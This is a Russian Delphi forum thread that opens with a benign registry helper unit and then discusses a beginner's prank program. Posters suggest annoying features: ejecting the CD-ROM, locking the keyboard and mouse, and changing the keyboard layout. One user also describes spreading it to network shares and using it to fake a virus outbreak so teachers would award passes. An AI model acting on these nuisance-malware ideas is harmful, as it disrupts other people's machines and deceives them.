//  Function Examples: 

  procedure TForm1.Button1Click(Sender: TObject); 
  var 
    ba1, ba2: array of byte; 
    n: integer; 
    s: String; 
    d: Cardinal; 
  begin 
    setlength(ba1, 10); 
    for n := 0 to 9 do ba1[n] := byte(n); 

    RegSetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', 'TestMe'); 
    RegSetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', 
      '%SystemRoot%\Test'); 
    RegSetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', 
      'String1'#0'String2'#0'String3'); 
    RegSetDword(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', 7); 
    RegSetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', ba1); 

    RegGetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', s); 
    RegGetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', s); 
    RegGetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', s); 
    RegGetDWORD(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', d); 
    RegGetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', s); 
    SetLength(ba2, Length(s)); 
    for n := 1 to Length(s) do ba2[n-1] := byte(s[n]); 
    Button1.Caption := IntToStr(Length(ba2)); 

    if RegKeyExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo') then 
      if RegValueExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary') then 
        MessageBox(GetActiveWindow, 'OK', 'OK', MB_OK); 
    RegDelValue(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company'); 
    if RegEnumKeys(HKEY_CURRENT_USER, 'Software\My Company', s) then 
      ListBox1.Text := s; 
    if RegEnumValues(HKEY_CURRENT_USER, 'Software\My Company', s) then 
      ListBox1.Text := s; 
    if RegConnect('\\server1', HKEY_LOCAL_MACHINE, RemoteKey) then 
    begin 
      RegGetString(RemoteKey, 'Software\My Company\Test\foo\bar\TestString', s); 
      RegDisconnect(RemoteKey); 
    end; 
  end; 



interface 

uses Windows; 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean; 
function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean; 
function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean; 
function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): boolean; 
function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean; 
function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean; 
function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean; 
function RegValueExists(RootKey: HKEY; Name: String): boolean; 
function RegKeyExists(RootKey: HKEY; Name: String): boolean; 
function RegDelValue(RootKey: HKEY; Name: String): boolean; 
function RegDelKey(RootKey: HKEY; Name: String): boolean; 
function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean; 
function RegDisconnect(RemoteKey: HKEY): boolean; 
function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean; 
function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean; 

implementation 

function LastPos(Needle: Char; Haystack: String): integer; 
begin 
  for Result := Length(Haystack) downto 1 do 
    if Haystack[Result] = Needle then 
      Break; 
end; 

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean; 
begin 
  Result := (RegConnectRegistry(PChar(MachineName), RootKey, RemoteKey) = ERROR_SUCCESS); 
end; 

function RegDisconnect(RemoteKey: HKEY): boolean; 
begin 
  Result := (RegCloseKey(RemoteKey) = ERROR_SUCCESS); 
end; 

function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean; 
var 
  SubKey: String; 
  n: integer; 
  dispo: DWORD; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, 
      nil, hTemp, @dispo) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer; 
  var ValSize: Cardinal): boolean; 
var 
  SubKey: String; 
  n: integer; 
  MyValType: DWORD; 
  hTemp: HKEY; 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then 
      begin 
        GetMem(Buf, BufSize); 
        if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then 
        begin 
          if ValType = MyValType then 
          begin 
            PVal := Buf; 
            ValSize := BufSize; 
            Result := True; 
          end else 
          begin 
            FreeMem(Buf); 
          end; 
        end else 
        begin 
          FreeMem(Buf); 
        end; 
      end; 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); 
end; 

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); 
end; 

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0), Length(Value) + 1); 
end; 

function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); 
end; 

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); 
end; 

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then 
  begin 
    Dec(BufSize); 
    SetLength(Value, BufSize); 
    if BufSize > 0 then 
      CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) then 
  begin 
    Dec(BufSize); 
    SetLength(Value, BufSize); 
    if BufSize > 0 then 
      CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) then 
  begin 
    Dec(BufSize); 
    SetLength(Value, BufSize); 
    if BufSize > 0 then 
      CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) then 
  begin 
    CopyMemory(@Value, Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) then 
  begin 
    SetLength(Value, BufSize); 
    CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegValueExists(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, nil, nil, nil) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
  ValType: Cardinal; 
begin 
  Result := False; 
  Value := REG_NONE; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if (RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS) then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, @ValType, nil, nil) = ERROR_SUCCESS); 
      if Result then 
        Value := ValType; 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegKeyExists(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
    begin 
      Result := True; 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegDelValue(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegDeleteValue(hTemp, PChar(SubKey)) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegDelKey(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegEnum(RootKey: HKEY; Name: String; var ResultList: String; const DoKeys: Boolean): boolean; 
var 
  i: integer; 
  iRes: integer; 
  s: String; 
  hTemp: HKEY; 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  ResultList := ''; 
  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
  begin 
    Result := True; 
    BufSize := 1024; 
    GetMem(buf, BufSize); 
    i := 0; 
    iRes := ERROR_SUCCESS; 
    while iRes = ERROR_SUCCESS do 
    begin 
      BufSize := 1024; 
      if DoKeys then 
        iRes := RegEnumKeyEx(hTemp, i, buf, BufSize, nil, nil, nil, nil) 
      else 
        iRes := RegEnumValue(hTemp, i, buf, BufSize, nil, nil, nil, nil); 
      if iRes = ERROR_SUCCESS then 
      begin 
        SetLength(s, BufSize); 
        CopyMemory(@s[1], buf, BufSize); 
        if ResultList = '' then 
          ResultList := s 
        else 
          ResultList := Concat(ResultList, #13#10, s); 
        inc(i); 
      end; 
    end; 
    FreeMem(buf); 
    RegCloseKey(hTemp); 
  end; 
end; 

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean; 
begin 
  Result := RegEnum(RootKey, Name, ValueList, False); 
end; 

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean; 
begin 
  Result := RegEnum(RootKey, Name, KeyList, True); 
end; 

end.
 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 19:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Флоппи ты что здурелsmile))))))))))) Я б такой код никогда в жизни не применил бы в проге, даже если бы CTRL+C   CTRL+V делал откуданить, а если самому писать такой, дак это ж вообще...... 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 17.7.2006, 19:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Какой "такой" код? Чем тебя этот модуль не устраивает? 39-килобайтный TRegistry 
разве намного лучше? Да еще Classes юзает... попробуй с ним сделать прогу < 50Kb.
А этот модуль можно еще и распотрашить, выдрав только используемые функции.

А вообще, пора тему переименовать, потому что "Спариванние скриптов" - это порнуха какая-то... скриптовая... smile
P.S. ВоВеЦ, Скрипты - это интерпритируемые программы, а код в Delphi компилируется! 

Это сообщение отредактировал(а) Mr.Floppy - 17.7.2006, 20:15
PM MAIL   Вверх
ВоВеЦ
Дата 17.7.2006, 22:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Открытие/закрытие cd-rom'а тормозит всю прогу, это бесит немного. Как сделать чтоб код прикола с cd-rom'ом выполнялся отдельно,не в цикле, раз в 5 минут к примеру?

RooR
Я написал пункты каторые нужны мне в проге, еще раз выкладывать исходники открытия/закрытия CD-ROM'а и добавление ключа в реестр было лишним)
Можеш на счёт 12 пункта поконкретней, а точней код бы его c комментами...

Mr.Floppy
Как этот модуль использовать в прогу чтоль вставлять  smile 
10 и 11 их исходники с комментами пригодились бы smile 
А тему и вправду переименовать надо, но это к модерам... 
PM MAIL   Вверх
Mr.Floppy
Дата 17.7.2006, 22:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Цитата
раз в 5 минут к примеру

Делай таймер, ставь задержку на 300 секунд

Цитата
Как этот модуль использовать в прогу чтоль вставлять 

Выделяешь весь код, вставляешь в блокнот, сохраняешь под именем MiniReg.pas
Код

uses MiniReg;


Примеры использования в самом исходнике 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 23:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Цитата(Mr.Floppy @  17.7.2006,  22:32 Найти цитируемый пост)
Выделяешь весь код, вставляешь в блокнот, сохраняешь под именем MiniReg.pas
Код

uses MiniReg;

Примеры использования в самом исходнике 


Да, и тогда с вирусом чтоли ещё и MiniReg.pas засылать smile не практично в данном случае smile 

Цитата(Mr.Floppy @  17.7.2006,  22:32 Найти цитируемый пост)
Делай таймер, ставь задержку на 300 секунд


Если сделать таймер и задержку в 300 секунд то будет тотже еффект, просто лучше убери 

Код

sleep()


из кода и всё, я смотрю ты много вишек в прогу свою вбиндеть хочеш, этот код будет обрабатыватся пару секунд, такчто сдром успеет выехать и снова заехать(а сам код сдрома не морозит программу это sleep держит)


По поводу 12 пункта, дак я сам незнаю как это сделать smile  если б знал наверное уже бы посадили(ну штраф бы точно дали) smile 

Ты лучше прислушайся к пункту 13(там про раскладку)

И мой тебе совет, переделывай свою вредоносную программу лучше выборкой проверяй, допустим:

1) в случае нажатия какой-либо кнопки мыши выезжает сидиром
2) Если нажал Enter, Esc, tab, alt,shift  то идёт звук из динамика(продолжительностью в секунд 10-15)
3)При наведении мыши на какойнить файл,ярлык и т.п. меняется раскладка 
4) Если открыт Notepad или Word то через 10-15 мин блочится клава+мышь
ну и т.д. у тебя у самого есть голова, такчто дерзай, тебе многи захотят в этом помочь, я дак точно и думаю что Флоппи не откажется smile 

Но это уже по асе иначе либо забанят либо ещё что

P.S. Самый разгон в том что так как здесь я ещё не старался никому помочь, и мне никто до сих пор "+" не повесилsmile а за более простую помощь давали smile  И Флоппи думаю тож надо, вот я и дам щас, а мне как всегда никто smile 

 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
ВоВеЦ
Дата 18.7.2006, 03:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



[censored 5] Модеры зачем удолять то было пост, подумаеш немного флейма.... smile  RooR главное не "+" а знания, но если так важны как наберу нужное кол-во постов, обязательно тебе наплюсую)) Идея с выборкой мне понравилась, можно и по АСИ но мне кажется банить за это глупо, меня быже давно забанили тогда... А насчёт 12 пункта надо поискать, а что посадят или штрафанут, это полный гон, поверь... от сети могут отрубить максимум за это
 
PM MAIL   Вверх
Romikgy
Дата 18.7.2006, 08:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Любитель-программер
****


Профиль
Группа: Участник Клуба
Сообщений: 7326
Регистрация: 11.5.2005
Где: Porto Franco Odes sa

Репутация: 26
Всего: 146



Цитата(ВоВеЦ @  18.7.2006,  02:31 Найти цитируемый пост)
Модеры зачем удолять то было пост, подумаеш немного флейма....

для флейма есть отдельный раздел, там и пиши, если есть 
Цитата(ВоВеЦ @  18.7.2006,  02:31 Найти цитируемый пост)
немного флейма...



Цитата(ВоВеЦ @  18.7.2006,  02:31 Найти цитируемый пост)
RooR главное не "+" а знания, но если так важны как наберу нужное кол-во постов, обязательно тебе наплюсую)

знания это хорошо , одно плохо ты ими набиратся не хочешь , сразу просишь , "а исходник дайте , и как его написать"
А плюсы это просто система уважения за помощь и все

Имхо я бы даже не шивелился в твою сторону ВоВеЦ, т.к. сначало пишутся такие приколы потом начинают задумыватся над вирусами, да и эти приколы видать не для себя пишешь, так что имхо не хорошее дело делашь!

PS я бы те посоветовал скачать DRKB, вверху ссылки есть , запастись хелпом по вин апи и долго и вдумчиво это все курить

Добавлено @ 08:38 
Цитата(ВоВеЦ @  18.7.2006,  02:31 Найти цитируемый пост)
А насчёт 12 пункта надо поискать

Лучше бы и не нашли!!!!

PS Модерам данного раздела: имхо конечно, буть я на вашем месте давно бы или удалил или забанил эту тему, т.к. явственное нарушение правил форума, обсуждение написания вирусов 


--------------------
Владение русской орфографией это как владение кунг-фу — истинные мастера не применяют его без надобности. 
smile

PM   Вверх
Alexeis
Дата 18.7.2006, 11:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



Romikgy, 
Цитата(Romikgy @  18.7.2006,  08:33 Найти цитируемый пост)
 явственное нарушение правил форума, обсуждение написания вирусов 
 Я бы не говорил так жестко, это скорее маловредные программы - шутки. DrWeb - не заносит такие в раздел вирусов, а заносит в спец раздел шуток. По моему мнению, напрашивется создание специального раздела - Шутим на делфи. Или программмирование приколов. 
Если у людей с чувством юмора порядок, то такие программы больше поднимают настроение. 
Предлагаю сделать RooRa модератором нового раздела smile  


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
Romikgy
Дата 18.7.2006, 11:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Любитель-программер
****


Профиль
Группа: Участник Клуба
Сообщений: 7326
Регистрация: 11.5.2005
Где: Porto Franco Odes sa

Репутация: 26
Всего: 146



alexeis1, 
Цитата(RooR @  17.7.2006,  17:28 Найти цитируемый пост)
12) Поиск полного доступа в папках по сети и посылание туда этого вируса


Цитата(Mr.Floppy @  16.7.2006,  12:13 Найти цитируемый пост)
полиморфные вирусы..

Плохие шутки smile

Мне раз попалось создание одного такого шутника , полдня игрался пока вывел smile  


--------------------
Владение русской орфографией это как владение кунг-фу — истинные мастера не применяют его без надобности. 
smile

PM   Вверх
Palladin
Дата 18.7.2006, 11:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Цитата(Romikgy @  18.7.2006,  11:20 Найти цитируемый пост)
Плохие шутки 

Мне раз попалось создание одного такого шутника , полдня игрался пока вывел  



Ну ясное дело, тому над кем шутят не до смеха smile 

По поводу такого раздела(нового) было бы неплохо

По поводу моего модерства-увольте smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Alexeis
Дата 18.7.2006, 11:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



Romikgy, Слово "вирус" здесь было сказано с ироническим подтекстом, хотя что касается распространения по сети - да, это уже слишком. Получается уже не шука - а вредитель! smile  


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
ВоВеЦ
Дата 18.7.2006, 13:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Цитата

для флейма есть отдельный раздел, там и пиши, если есть 

Фигали тогда сам флеймиш, тематика темы помойму не обсужденник что правильно, а что нет...
Цитата

знания это хорошо , одно плохо ты ими набиратся не хочешь , сразу просишь , "а исходник дайте , и как его написать"
А плюсы это просто система уважения за помощь и все


а исходник дайте , и как его написать --- тыкни пальцем где я спрашивал как его написать, на практике лучше учется, или я не прав? И если сравнивать мое понимание Делфи недели 2 назад и щас, это земля и небо, так что свои кооментарии остовляй при себе

Romikgy у кого такое категорическое отношенние к подобным приколам тому не быть хорошим кодером...ИМХО

Цитата

Модерам данного раздела: имхо конечно, буть я на вашем месте давно бы или удалил или забанил эту тему, т.к. явственное нарушение правил форума, обсуждение написания вирусов 


ты наверно очень правильный да? Дорогу всегда только на зелёный переходиш... Мне смешно когда эту прогу называют вирусам....ну да лан, если тут такие недопонимания, тему удоляйте  

Это сообщение отредактировал(а) ВоВеЦ - 18.7.2006, 13:36
PM MAIL   Вверх
Palladin
Дата 18.7.2006, 14:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Цитата(ВоВеЦ @  18.7.2006,  13:29 Найти цитируемый пост)
ты наверно очень правильный да? Дорогу всегда только на зелёный переходиш... Мне смешно когда эту прогу называют вирусам....ну да лан, если тут такие недопонимания, тему удоляйте


Эээ не удаляйте, тема оч хорошая smile 

По поводу вируса, дак конечно вирусом эту программу называют с иронией, это просто вредоносная программа

И кстати подобные программы можно использовать в екстренных ситуациях, у меня был случай
я сделал программу(ко которой я выкладывал, там блочится клава+мышь и проц ~100% грузится) ну дак вот, на одной из практических мы не успевали сделать задания, был конец сессии, мы на всех тачках запустили(перед этим мы открыли маткад и делфи, мол что-то делали) кампы повисли, там было внечение в реестр(в автозапуск) преподы подумали что вирусы сеть пожрали и поставили зачёты,
такчто еслиб не моя программа было пол группы должников

Сразу говорю почему долги были, нам говорили что этот рпедмет будет факультативом, а за 2 дня до сессии сказали что"Нет, мы решили сделать его полноценным предметом, здавайте лабы, у вас два дня!!!!" 

P.S.Чего вы так неврничаете????
 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Страницы: (3) [Все] 1 2 3 
Закрытая темаСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.1297 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.